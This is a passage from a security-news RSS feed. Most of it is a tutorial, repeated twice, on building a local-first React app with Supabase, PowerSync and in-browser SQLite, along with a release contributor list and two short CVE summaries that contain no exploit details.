<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/smwbev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/smwbev">@smwbev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/soichiyo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/soichiyo">@soichiyo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/steezkelly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/steezkelly">@steezkelly</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sylw3ster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sylw3ster">@Sylw3ster</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/szymonclawd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/szymonclawd">@szymonclawd</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teyrebaz33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teyrebaz33">@teyrebaz33</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tianyu199509/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tianyu199509">@Tianyu199509</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tranquil-Flow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tranquil-Flow">@Tranquil-Flow</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TreyDong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TreyDong">@TreyDong</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurgutKural/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurgutKural">@TurgutKural</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tw2818/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tw2818">@tw2818</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tymrtn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tymrtn">@tymrtn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/uzunkuyruk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/uzunkuyruk">@uzunkuyruk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v1b3coder/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v1b3coder">@v1b3coder</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vanthinh6886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vanthinh6886">@vanthinh6886</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VinceZcrikl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VinceZcrikl">@VinceZcrikl</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vKongv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vKongv">@vKongv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vominh1919/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vominh1919">@vominh1919</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/voteblake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/voteblake">@voteblake</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VTRiot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VTRiot">@VTRiot</a>, @wali-reheman, @wesleysimplicio,<br>
@wilsen0, @WorldWriter, @worlldz, @wuli666, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wuwuzhijing/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wuwuzhijing">@wuwuzhijing</a>, @Wysie, @XiaoXiao0221, @xieNniu, @xxxigm, @yehuosi,<br>
@ygd58, @yifengingit, @yuga-hashimoto, @zccyman, @ZeterMordio, @Zhekinmaksim, @zhengyn0001</p>
<p>Also: @Nagatha (Claude Opus 4.7).</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.7...v2026.5.16">v2026.5.7...v2026.5.16</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hands-on with React, Supabase, and PowerSync]]></title>
<description><![CDATA[It’s not every day that a radically new architecture comes along, but here we are: in-browser SQLite, combined with reactive SQL and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the RESTful group-...]]></description>
<link>https://tsecurity.de/de/3517485/ai-nachrichten/hands-on-with-react-supabase-and-powersync/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3517485/ai-nachrichten/hands-on-with-react-supabase-and-powersync/</guid>
<pubDate>Thu, 14 May 2026 19:18:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It’s not every day that a radically new architecture comes along, but here we are: <a href="https://sqlite.org/wasm/doc/trunk/index.md" data-type="link" data-id="https://sqlite.org/wasm/doc/trunk/index.md">in-browser SQLite</a>, combined with <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">reactive SQL</a> and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html" data-type="link" data-id="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful group-think</a> that has dominated web development for a decade, it is well worth a look. </p>



<h2 class="wp-block-heading">Not really new, but improved</h2>



<p>This idea isn’t brand new. Developers have been doing this kind of thing in one fashion or another for years (think of how some apps work offline). But this new-generation stack feels different, and it’s starting to see broader appeal. </p>



<p>It’s called local-first data. I recently <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">covered the idea at a high level</a>. Now it’s time for a look at the nitty gritty.</p>



<p>The concept is simple. Instead of asking a remote server for permission to change a number, your app writes state directly to a local SQLite database running in the browser (via <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a>). A sophisticated background engine then handles the hard work of syncing those changes to the cloud and other devices.</p>



<p>For React developers, the best part is that we remain in the reactive paradigm. Even though we are writing raw <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html" data-type="link" data-id="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a> queries, the shuffling of the data is handled for us. Our UI components subscribe to the database, and when the data changes (whether locally from a user click or an inbound sync update from the cloud), the UI updates instantly.</p>



<p>When you use Spotify, you don’t download their entire multi-million song catalog. You just download your list and, even if you are offline, you listen to your music lag-free. This is the same kind of model we are building with local-first data, but with a lot of extra power. We can make changes to our local state, and those changes will be synced with the back end when a connection is available. And correspondingly, we will automatically receive important updates from the world.</p>



<h2 class="wp-block-heading">Three architectural components</h2>



<p>To pull this off we need three major architectural components:</p>



<ul class="wp-block-list">
<li>The client-side UI and database (React and SQLite Wasm )</li>



<li>A syncing engine (PowerSync)</li>



<li>A database of record (Supabase)</li>
</ul>



<p>Let’s start by setting up the cloud services we need: Supabase and PowerSync, both of which will be free-tier. For our client-side UI and database, we’ll make use of a React+SQLite demo app provided by Supabase. </p>



<h3 class="wp-block-heading">Supabase – the database of record</h3>



<p>Supabase is a managed Postgres service with a lot of niceties. Our example is going to be very simple, with only one row required. Go to <a href="http://supabase.com/">Supabase.com</a>, create a free account, and start a new project. Clicking on the project will bring you to its details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-01.png?w=1024" alt="React-Supabase-PowerSync 01" class="wp-image-4168592" width="1024" height="406" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Next we create a database schema to hold our data, which will be a simple one. On the left side menu, open the SQL Editor and run the following code.</p>



<pre class="wp-block-code"><code>-- 1. Create the table to store our counters
CREATE TABLE counters (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  created_at TIMESTAMPTZ DEFAULT NOW(),
  count INTEGER DEFAULT 0,
  owner_id UUID DEFAULT auth.uid()
);

-- 2. Turn on Row Level Security (RLS) 
ALTER TABLE counters ENABLE ROW LEVEL SECURITY;

-- 3. Access Policies 
CREATE POLICY "Users can all on own counters" 
ON counters FOR ALL 
USING (auth.uid() = owner_id);

-- 4. Publish the table
DROP PUBLICATION IF EXISTS powersync;
CREATE PUBLICATION powersync FOR TABLE counters;
</code></pre>



<p>Each step is annotated within the code above. The first step is standard SQL, creating a table with a few columns including a random UUID primary key. The second step turns on <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">row level security</a>. The third step creates an access policy allowing users access to their own counter row (as determined by their logged in id: <code>auth.uid() = owner_id</code>). The fourth step creates a link between the Supabase instance and PowerSync.</p>



<p>Before we leave Supabase, click the “+ Connect” button at the top and grab the connection string, which looks something like this:</p>



<pre class="wp-block-code"><code>postgresql://postgres:[YOUR-PASSWORD]@db.fooizpddffaabqcydusj.supabase.co:5432/postgres</code></pre>



<h3 class="wp-block-heading">PowerSync – the syncing engine</h3>



<p>Now let’s jump into PowerSync. Go to <a href="https://powersync.com/" data-type="link" data-id="https://powersync.com/">PowerSync.com</a>, create a free account, and start a new project. Open the project details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-02.png?w=1024" alt="React-Supabase-PowerSync 02" class="wp-image-4168596" width="1024" height="454" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>In the PowerSync dashboard, we need to create a bridge to Supabase. Follow these steps: </p>



<ol class="wp-block-list">
<li>Click “Create New Instance”.</li>



<li>Click the “Database Connections” item on the left, then click the + button.</li>



<li>Paste the connection string you copied from Supabase. Note: If your string has a <code>[YOUR-PASSWORD]</code> placeholder, replace it with the actual password you created for the instance.</li>



<li>Click “Test Connection”.</li>
</ol>



<p>PowerSync will now reach out to the Postgres instance we created before. If you ran the <code>CREATE PUBLICATION SQL</code> command correctly in the Supabase setup, this will succeed, and you’ll see a green “Connection Successful!” status message.</p>



<h4 class="wp-block-heading">Configure authentication</h4>



<p>We told PowerSync how to <em>read</em> our Supabase data (Postgres). Now we need tell it how to <em>trust</em> our users. Here are the steps: </p>



<ol class="wp-block-list">
<li>In the PowerSync dashboard, click the “Client Auth” tab</li>



<li>Look for the “JWKS URI” field.</li>



<li>Construct your JWKS URL. It is your Supabase Project URL + a specific suffix. 
<ul class="wp-block-list">
<li>Format: <code>https://[YOUR-PROJECT-ID].supabase.co/auth/v1/.well-known/jwks.json</code></li>



<li>Note: You can get your Project URL from Supabase &gt; Settings &gt; API.</li>
</ul>
</li>



<li>Paste your JWKS URL into the JWKS URI field and click “Save”.</li>



<li>Set the Audience to “authenticated”:
<ul class="wp-block-list">
<li>Click the (+) Add button under “Token Claims”.</li>



<li>Claim: Type <code>aud</code></li>



<li>Value: Type <code>authenticated</code></li>
</ul>
</li>
</ol>



<p>This configuration tells PowerSync, “Only trust tokens that are signed by Supabase AND are meant for the ‘authenticated’ user group.”</p>



<h4 class="wp-block-heading">Define the sync rules</h4>



<p>The sync rules are the essential architectural element to understand. This is where we tell Powersync what <em>part </em>of the data the user is privy to. This is sometimes called the “data shape” for the user. Each user has their own shape of the overall data, based on their unique profile.</p>



<p>We do not want to sync the <em>entire</em> database to the user’s laptop. That would be bad on many levels. Instead, we define a sync rule (or “bucket” in PowerSync), which is a filter that determines what data belongs to which user.</p>



<p>Navigate to “Sync Rules” on the left. You’ll get a YAML editor. Replace the default code with the following code.</p>



<pre class="wp-block-code"><code>YAML
config:
  edition: 2

bucket_definitions:
  user_counters:
    # 1. Identify the user from their Auth Token
    parameters: SELECT request.user_id() as user_id

    # 2. Only sync rows that belong to them
    data:
      - SELECT * FROM counters WHERE owner_id = bucket.user_id
</code></pre>



<p>This code defines the special view of the data for users:</p>



<ul class="wp-block-list">
<li><code>user_counters</code>: This is a “bucket”, a collection of data</li>



<li><code>request.user_id()</code>: PowerSync automatically extracts the user id from the Supabase auth token.</li>



<li>The data query: This SQL runs in the cloud, grabbing only the rows where the <code>owner_id</code> column matches the logged-in user and streams them down to the device.</li>
</ul>



<p>You can click “Validate” to check that this is working. Click “Deploy” to make it live.</p>



<h2 class="wp-block-heading">React and SQLite – the client-side UI and database</h2>



<p>We have done a lot of administrative work here, but it is giving us an entire reactive architecture based on SQL. Let’s push ahead with a client that can use it.</p>



<p>To get a quick look, let’s clone a demo app from Supabase. At the command line, run: </p>



<pre class="wp-block-code"><code>$ git clone https://github.com/powersync-community/vite-react-ts-powersync-supabase.git
$ cd vite-react-ts-powersync-supabase
$ npm install
</code></pre>



<p>Once the npm command finishes, we want to point the app at the infrastructure we just created. We can do that using the <code>.env.local</code> environmental variable file. Open <code>.env.local</code> and change the vars to point to your services. Here is the code:</p>



<pre class="wp-block-code"><code>VITE_SUPABASE_URL=https://fooizpddffaabqcydusj.supabase.co
VITE_SUPABASE_ANON_KEY=sb_publishable_gqUrYxDt04rg74fopz5rUg_ayDxpmgE
VITE_POWERSYNC_URL=https://foofcf18cc2560584a018a12.powersync.journeyapps.com
</code></pre>



<p>We are ready to test our React app:</p>



<pre class="wp-block-code"><code>$ npm run dev:ui
</code></pre>



<p>The demo app is a simple counter—a web page that presents an “Increment” button and shows the count. None too exciting, except for the data syncing magic behind the scenes. </p>



<p>Run the above command, and a browser window will open showing a “Create Counter” button. When you click it, the demo will give you a counter in a new window, along with a user ID and a panel that shows connection and sync status. You can create as many counters as you like, each in a separate browser window. </p>



<p>You can verify your counter is working by going to the Supabase dashboard, looking at the “Table” pane and seeing that a row has indeed been inserted for your user in the counter table. Another good check is to log in using another browser/device (or incognito tab). </p>



<p>Log in and create another counter in the second browser window, so that you have two different Supabase-synced session counters side by side: </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-03-1.png" alt="React-Supabase-PowerSync 03" class="wp-image-4169002" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Whenever you create a new counter, a new row will be inserted into Supabase. The screenshot below shows a Supabase table with two rows, each with its own user ID and counter value. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-04.png" alt="React-Supabase-PowerSync 04" class="wp-image-4169007" width="1024" height="487" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<h3 class="wp-block-heading">The React code (App.tsx)</h3>



<p>We are moving quickly, but there are some interesting things to make note of in the src/App.tsx file. This code is the main React code for the app, and demonstrates the shift from “asking the server” to “interacting with local database state.” </p>



<p>There are two landmarks here that every React developer needs to see: the reactive read and the instant write. </p>



<h4 class="wp-block-heading">The reactive read (useQuery)</h4>



<p>In a standard React app, we would retrieve the data by using a <code>useEffect</code> to call <code>fetch('/api/counters')</code>. In our local-first React app, we use raw SQL:</p>



<pre class="wp-block-code"><code>const { data: counters, isLoading } = useQuery<counterrecord>(
  `SELECT * FROM ${COUNTER_TABLE} ORDER BY created_at ASC`,
  [],
  {
    rowComparator: {
      keyBy: (item) =&gt; item.id,
      compareBy: (item) =&gt; JSON.stringify(item)
    }
  }
);
</counterrecord></code></pre>



<p>This is the “reactive SQL” part of the architecture.</p>



<p>This <code>useQuery</code> hook subscribes to the local SQLite database. When the background worker receives an update from the cloud—or when you update a row locally—this hook fires instantly and re-renders the component. No manual state management or re-fetching logic is required, and there is no intermediate object of state. The back-end state and the front-end state are the same.</p>



<h4 class="wp-block-heading">The instant write (powerSync.execute)</h4>



<p>Notice what happens when we increment the counter. There is no <code>await api.post(...)</code> and no loading spinner state.</p>



<pre class="wp-block-code"><code>const updateCounter = async (counter: CounterRecord, newCount: number) =&gt; {
  // Writes to Local SQLite immediately
  await powerSync.execute(
    `UPDATE ${COUNTER_TABLE} SET count = ? WHERE owner_id = ?`,
    [newCount, counter.owner_id]
  );
};
</code></pre>



<p>This code is interesting on its own, because it’s like a reactive SQL statement. We write to the local file (Wasm). The write completes in milliseconds, and the UI updates immediately via the <code>useQuery</code> hook. The PowerSync syncing engine picks up the change asynchronously and pushes it to Supabase.</p>



<h2 class="wp-block-heading">The local-first vs. RESTful calculation</h2>



<p>So, is all of this configuration and newfangled code worth it?</p>



<p>If you are building a simple dashboard or a form-based application, the traditional JSON API (REST or GraphQL) approach is still king. In those models, the server is the single source of truth, and the client is just a dumb terminal. It is simple, stateless, and easy to debug. It’s also familiar.</p>



<p>But that simplicity comes with an unavoidable latency cost. Every interaction requires a round-trip ticket to the server. If the network hiccups, your app freezes. JSON APIs force you to manage loading states, error boundaries, and optimistic UI rollbacks manually.</p>



<p>Local-first flips the calculation. You pay a higher cost up front: you have to define a schema, manage a local database, and think about syncing rules. But in exchange, you get an application that feels like a native piece of software. Local-first creates data continuity, the ability to walk out of Wi-Fi range, keep working, and have your data follow you across devices when you reconnect.</p>



<p>Architecturally, we used three major components: the database, the syncing engine, and the client. This is actually similar to your conventional RESTful stack. In the local-first structure, the syncing engine takes the place of the JSON API server. In short, you have a similar amount of high-level complexity, but with different actors on the ground.</p>



<p>Local-first architecture is a fascinating development for JavaScript and the web in general. There is a huge inertial mass of JSON APIs to overcome, but here is a real countercurrent. Local-first may never rise to the level of adoption of RESTful architecture, but local-first data and reactive SQL constitute one of the most important trends to be watching closely right now.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-23870 | Meta react-server-dom-turbopack up to 19.0.5/19.1.6/19.2.5 HTTP deserialization (GHSA-rv78-f8rc-xrxh / WID-SEC-2026-1401)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Meta react-server-dom-turbopack, react-server-dom-parcel and react-server-dom-webpack up to 19.0.5/19.1.6/19.2.5. This affects an unknown part of the component HTTP Handler. The manipulation leads to deserialization.

This vulnerability i...]]></description>
<link>https://tsecurity.de/de/3516579/sicherheitsluecken/cve-2026-23870-meta-react-server-dom-turbopack-up-to-190519161925-http-deserialization-ghsa-rv78-f8rc-xrxh-wid-sec-2026-1401/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3516579/sicherheitsluecken/cve-2026-23870-meta-react-server-dom-turbopack-up-to-190519161925-http-deserialization-ghsa-rv78-f8rc-xrxh-wid-sec-2026-1401/</guid>
<pubDate>Thu, 14 May 2026 13:40:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/meta:react-server-dom-turbopack">Meta react-server-dom-turbopack, react-server-dom-parcel and react-server-dom-webpack up to 19.0.5/19.1.6/19.2.5</a>. This affects an unknown part of the component <em>HTTP Handler</em>. The manipulation leads to deserialization.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-23870">CVE-2026-23870</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-45321 | tanstack arktype-adapter malicious code (ID 7383 / CNNVD-202605-2954)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in tanstack arktype-adapter, eslint-plugin-router, eslint-plugin-start, history, nitro-v2-vite-plugin, react-router, react-router-devtools, react-router-ssr-query, react-start, react-start-client, react-start-rsc, react-start-server, router-cl...]]></description>
<link>https://tsecurity.de/de/3514176/sicherheitsluecken/cve-2026-45321-tanstack-arktype-adapter-malicious-code-id-7383-cnnvd-202605-2954/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3514176/sicherheitsluecken/cve-2026-45321-tanstack-arktype-adapter-malicious-code-id-7383-cnnvd-202605-2954/</guid>
<pubDate>Wed, 13 May 2026 17:07:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/tanstack:arktype-adapter">tanstack arktype-adapter, eslint-plugin-router, eslint-plugin-start, history, nitro-v2-vite-plugin, react-router, react-router-devtools, react-router-ssr-query, react-start, react-start-client, react-start-rsc, react-start-server, router-cli, router-core, router-devtools, router-devtools-core, router-generator, router-plugin, router-ssr-query-core, router-utils, outer-vite-plugin, solid-router, solid-router-devtools, solid-router-ssr-query, solid-start, solid-start-client, solid-start-server, start-client-core, start-fn-stubs, start-plugin-core, start-server-core, start-static-server-functions, start-storage-context, valibot-adapter, virtual-file-routes, vue-router, vue-router-devtools, vue-router-ssr-query, vue-start, vue-start-client, vue-start-server and zod-adapter</a>. Affected by this vulnerability is an unknown functionality. The manipulation leads to embedded malicious code.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-45321">CVE-2026-45321</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Kill the loading spinner with local-first data and reactive SQL]]></title>
<description><![CDATA[It’s not every day that a radically new architecture comes along, but here we are: in-browser SQLite, combined with reactive SQL and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the RESTful group-...]]></description>
<link>https://tsecurity.de/de/3509683/ai-nachrichten/kill-the-loading-spinner-with-local-first-data-and-reactive-sql/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3509683/ai-nachrichten/kill-the-loading-spinner-with-local-first-data-and-reactive-sql/</guid>
<pubDate>Tue, 12 May 2026 11:33:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>It’s not every day that a radically new architecture comes along, but here we are: <a href="https://sqlite.org/wasm/doc/trunk/index.md" data-type="link" data-id="https://sqlite.org/wasm/doc/trunk/index.md">in-browser SQLite</a>, combined with <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">reactive SQL</a> and auto-syncing. The promise is instant interactivity on the front end, while maintaining data symmetry with the back end. As a direct challenger to the <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html" data-type="link" data-id="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful group-think</a> that has dominated web development for a decade, it is well worth a look. </p>



<h2 class="wp-block-heading">Not really new, but improved</h2>



<p>This idea isn’t brand new. Developers have been doing this kind of thing in one fashion or another for years (think of how some apps work offline). But this new-generation stack feels different, and it’s starting to see broader appeal. </p>



<p>It’s called local-first data. I recently <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">covered the idea at a high level</a>. Now it’s time for a look at the nitty gritty.</p>



<p>The concept is simple. Instead of asking a remote server for permission to change a number, your app writes state directly to a local SQLite database running in the browser (via <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a>). A sophisticated background engine then handles the hard work of syncing those changes to the cloud and other devices.</p>



<p>For React developers, the best part is that we remain in the reactive paradigm. Even though we are writing raw <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html" data-type="link" data-id="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a> queries, the shuffling of the data is handled for us. Our UI components subscribe to the database, and when the data changes (whether locally from a user click or an inbound sync update from the cloud), the UI updates instantly.</p>



<p>When you use Spotify, you don’t download their entire multi-million song catalog. You just download your list and, even if you are offline, you listen to your music lag-free. This is the same kind of model we are building with local-first data, but with a lot of extra power. We can make changes to our local state, and those changes will be synced with the back end when a connection is available. And correspondingly, we will automatically receive important updates from the world.</p>



<h2 class="wp-block-heading">Three architectural components</h2>



<p>To pull this off we need three major architectural components:</p>



<ul class="wp-block-list">
<li>The client-side UI and database (React and SQLite Wasm )</li>



<li>A syncing engine (PowerSync)</li>



<li>A database of record (Supabase)</li>
</ul>



<p>Let’s start by setting up the cloud services we need: Supabase and PowerSync, both of which will be free-tier. For our client-side UI and database, we’ll make use of a React+SQLite demo app provided by Supabase. </p>



<h3 class="wp-block-heading">Supabase – the database of record</h3>



<p>Supabase is a managed Postgres service with a lot of niceties. Our example is going to be very simple, with only one row required. Go to <a href="http://supabase.com/">Supabase.com</a>, create a free account, and start a new project. Clicking on the project will bring you to its details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-01.png?w=1024" alt="React-Supabase-PowerSync 01" class="wp-image-4168592" width="1024" height="406" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Next we create a database schema to hold our data, which will be a simple one. On the left side menu, open the SQL Editor and run the following code.</p>



<pre class="wp-block-code"><code>-- 1. Create the table to store our counters
CREATE TABLE counters (
  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
  created_at TIMESTAMPTZ DEFAULT NOW(),
  count INTEGER DEFAULT 0,
  owner_id UUID DEFAULT auth.uid()
);

-- 2. Turn on Row Level Security (RLS) 
ALTER TABLE counters ENABLE ROW LEVEL SECURITY;

-- 3. Access Policies 
CREATE POLICY "Users can all on own counters" 
ON counters FOR ALL 
USING (auth.uid() = owner_id);

-- 4. Publish the table
DROP PUBLICATION IF EXISTS powersync;
CREATE PUBLICATION powersync FOR TABLE counters;
</code></pre>



<p>Each step is annotated within the code above. The first step is standard SQL, creating a table with a few columns including a random UUID primary key. The second step turns on <a href="https://supabase.com/docs/guides/database/postgres/row-level-security">row level security</a>. The third step creates an access policy allowing users access to their own counter row (as determined by their logged in id: <code>auth.uid() = owner_id</code>). The fourth step creates a link between the Supabase instance and PowerSync.</p>



<p>Before we leave Supabase, click the “+ Connect” button at the top and grab the connection string, which looks something like this:</p>



<pre class="wp-block-code"><code>postgresql://postgres:[YOUR-PASSWORD]@db.fooizpddffaabqcydusj.supabase.co:5432/postgres</code></pre>



<h3 class="wp-block-heading">PowerSync – the syncing engine</h3>



<p>Now let’s jump into PowerSync. Go to <a href="https://powersync.com/" data-type="link" data-id="https://powersync.com/">PowerSync.com</a>, create a free account, and start a new project. Open the project details:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-02.png?w=1024" alt="React-Supabase-PowerSync 02" class="wp-image-4168596" width="1024" height="454" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>In the PowerSync dashboard, we need to create a bridge to Supabase. Follow these steps: </p>



<ol class="wp-block-list">
<li>Click “Create New Instance”.</li>



<li>Click the “Database Connections” item on the left, then click the + button.</li>



